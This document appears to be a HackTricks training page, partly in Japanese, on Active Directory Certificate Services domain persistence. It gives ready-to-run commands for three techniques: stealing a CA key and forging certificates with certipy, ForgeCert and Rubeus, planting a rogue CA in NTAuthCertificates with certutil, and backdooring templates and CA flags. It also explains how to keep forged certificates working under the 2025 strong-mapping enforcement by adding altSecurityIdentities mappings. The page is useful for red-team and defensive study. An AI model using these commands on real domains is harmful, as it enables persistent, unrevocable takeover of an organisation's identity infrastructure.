10 KiB
AD CS Domain Persistence
{{#include ../../../banners/hacktricks-training.md}}
これは https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf に掲載されている domain persistence techniques の要約です。詳細はそちらを参照してください。
Forging Certificates with Stolen CA Certificates - DPERSIST1
How can you tell that a certificate is a CA certificate?
証明書が CA 証明書であるかどうかは、いくつかの条件が満たされている場合に判断できます:
- 証明書は CA サーバー上に格納されており、その秘密鍵はマシンの DPAPI によって保護されているか、OS がサポートしていれば TPM/HSM のようなハードウェアによって保護されている。
- 証明書の Issuer と Subject フィールドの両方が CA の識別名と一致している。
- "CA Version" 拡張は CA 証明書にのみ存在する。
- 証明書には Extended Key Usage (EKU) フィールドがない。
この証明書の秘密鍵を抽出するには、CA サーバー上の certsrv.msc
ツール(組み込み GUI 経由)がサポートされる方法です。それにもかかわらず、この証明書はシステム内に保存されている他の証明書と異なるものではないため、THEFT2 technique のような方法で抽出することも可能です。
証明書と秘密鍵は、Certipy を使用して次のコマンドでも取得できます:
certipy ca 'corp.local/administrator@ca.corp.local' -hashes :123123.. -backup
CA証明書とその秘密鍵を .pfx
形式で入手したら、ForgeCert のようなツールを使って有効な証明書を生成できます:
# Generating a new certificate with ForgeCert
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword Password123! --Subject "CN=User" --SubjectAltName localadmin@theshire.local --NewCertPath localadmin.pfx --NewCertPassword Password123!
# Generating a new certificate with certipy
certipy forge -ca-pfx CORP-DC-CA.pfx -upn administrator@corp.local -subject 'CN=Administrator,CN=Users,DC=CORP,DC=LOCAL'
# Authenticating using the new certificate with Rubeus
Rubeus.exe asktgt /user:localdomain /certificate:C:\ForgeCert\localadmin.pfx /password:Password123!
# Authenticating using the new certificate with certipy
certipy auth -pfx administrator_forged.pfx -dc-ip 172.16.126.128
Warning
証明書偽造の対象となるユーザーは、プロセスを成功させるためにActive Directoryでアクティブかつ認証可能である必要があります。krbtgtのような特殊アカウントに対する証明書偽造は効果がありません。
この偽造証明書は有効期限まで、かつroot CA 証明書が有効である限り(通常5年から10年以上)有効です。これはマシンにも有効であり、S4U2Selfと組み合わせることで、攻撃者はCA証明書が有効な限り任意のドメインマシン上で永続化を維持できます.\
さらに、この方法で生成された証明書はCAがそれらを認識していないため取り消すことができません。
Strong Certificate Mapping Enforcement (2025+) 下での運用
2025年2月11日以降(KB5014754の展開後)、ドメインコントローラーは証明書マッピングに対してデフォルトでFull Enforcementになります。実務上、これは偽造証明書が次のいずれかである必要があることを意味します:
- ターゲットアカウントへの強いバインディングを含む(例えば、SID security extension)、または
- ターゲットオブジェクトの
altSecurityIdentities
属性に強力で明示的なマッピングを追加して組み合わせる
永続化のための信頼できるアプローチは、盗まれた Enterprise CA にチェーンされた偽造証明書を発行し、その後被害者プリンシパルに強力で明示的なマッピングを追加することです:
# Example: map a forged cert to a target account using Issuer+Serial (strong mapping)
$Issuer = 'DC=corp,DC=local,CN=CORP-DC-CA' # reverse DN format expected by AD
$SerialR = '1200000000AC11000000002B' # serial in reversed byte order
$Map = "X509:<I>$Issuer<SR>$SerialR" # strong mapping format
Set-ADUser -Identity 'victim' -Add @{altSecurityIdentities=$Map}
Notes
- If you can craft forged certificates that include the SID security extension, those will map implicitly even under Full Enforcement. Otherwise, prefer explicit strong mappings. See account-persistence for more on explicit mappings.
- Revocation does not help defenders here: forged certificates are unknown to the CA database and thus cannot be revoked.
Trusting Rogue CA Certificates - DPERSIST2
The NTAuthCertificates
object is defined to contain one or more CA certificates within its cacertificate
attribute, which Active Directory (AD) utilizes. The verification process by the domain controller involves checking the NTAuthCertificates
object for an entry matching the CA specified in the Issuer field of the authenticating certificate. Authentication proceeds if a match is found.
A self-signed CA certificate can be added to the NTAuthCertificates
object by an attacker, provided they have control over this AD object. Normally, only members of the Enterprise Admin group, along with Domain Admins or Administrators in the forest root’s domain, are granted permission to modify this object. They can edit the NTAuthCertificates
object using certutil.exe
with the command certutil.exe -dspublish -f C:\Temp\CERT.crt NTAuthCA
, or by employing the PKI Health Tool.
Additional helpful commands for this technique:
# Add/remove and inspect the Enterprise NTAuth store
certutil -enterprise -f -AddStore NTAuth C:\Temp\CERT.crt
certutil -enterprise -viewstore NTAuth
certutil -enterprise -delstore NTAuth <Thumbprint>
# (Optional) publish into AD CA containers to improve chain building across the forest
certutil -dspublish -f C:\Temp\CERT.crt RootCA # CN=Certification Authorities
certutil -dspublish -f C:\Temp\CERT.crt CA # CN=AIA
This capability is especially relevant when used in conjunction with a previously outlined method involving ForgeCert to dynamically generate certificates.
Post-2025 mapping considerations: placing a rogue CA in NTAuth only establishes trust in the issuing CA. To use leaf certificates for logon when DCs are in Full Enforcement, the leaf must either contain the SID security extension or there must be a strong explicit mapping on the target object (for example, Issuer+Serial in
altSecurityIdentities
). See {{#ref}}account-persistence.md{{#endref}}.
悪意のある設定ミス - DPERSIST3
AD CS コンポーネントのセキュリティ記述子を変更することによる persistence の機会は豊富にある。"Domain Escalation" セクションで説明された変更は、権限を持つ攻撃者により悪意を持って実行され得る。これには、以下のような機密性の高いコンポーネントに対して「control rights」(例: WriteOwner/WriteDACL/etc.) を追加することが含まれる:
- The CA server’s AD computer object
- The CA server’s RPC/DCOM server
- Any descendant AD object or container in
CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>,DC=<COM>
(for instance, the Certificate Templates container, Certification Authorities container, the NTAuthCertificates object, etc.) - AD groups delegated rights to control AD CS by default or by the organization (such as the built-in Cert Publishers group and any of its members)
悪意ある実装の例としては、ドメイン内で高い権限を持つ攻撃者がデフォルトの User
証明書テンプレートに WriteOwner
権限を追加し、その権利の主体を攻撃者自身にするケースがある。これを悪用するには、攻撃者はまず User
テンプレートの所有者を自分に変更する。その後、テンプレート上で mspki-certificate-name-flag
を 1 に設定して ENROLLEE_SUPPLIES_SUBJECT
を有効化し、リクエストで Subject Alternative Name を指定できるようにする。続いて攻撃者はそのテンプレートで登録を行い、代替名としてドメイン管理者の名前を選び、取得した証明書を DA としての認証に利用できる。
Practical knobs attackers may set for long-term domain persistence (see {{#ref}}domain-escalation.md{{#endref}} for full details and detection):
- CA policy flags that allow SAN from requesters (e.g., enabling
EDITF_ATTRIBUTESUBJECTALTNAME2
). This keeps ESC1-like paths exploitable. - Template DACL or settings that allow authentication-capable issuance (e.g., adding Client Authentication EKU, enabling
CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
). - Controlling the
NTAuthCertificates
object or the CA containers to continuously re-introduce rogue issuers if defenders attempt cleanup.
Tip
In hardened environments after KB5014754, pairing these misconfigurations with explicit strong mappings (
altSecurityIdentities
) ensures your issued or forged certificates remain usable even when DCs enforce strong mapping.
References
- Microsoft KB5014754 – Certificate-based authentication changes on Windows domain controllers (enforcement timeline and strong mappings). https://support.microsoft.com/en-au/topic/kb5014754-certificate-based-authentication-changes-on-windows-domain-controllers-ad2c23b0-15d8-4340-a468-4d4f3b188f16
- Certipy – Command Reference and forge/auth usage. https://github.com/ly4k/Certipy/wiki/08-%E2%80%90-Command-Reference {{#include ../../../banners/hacktricks-training.md}}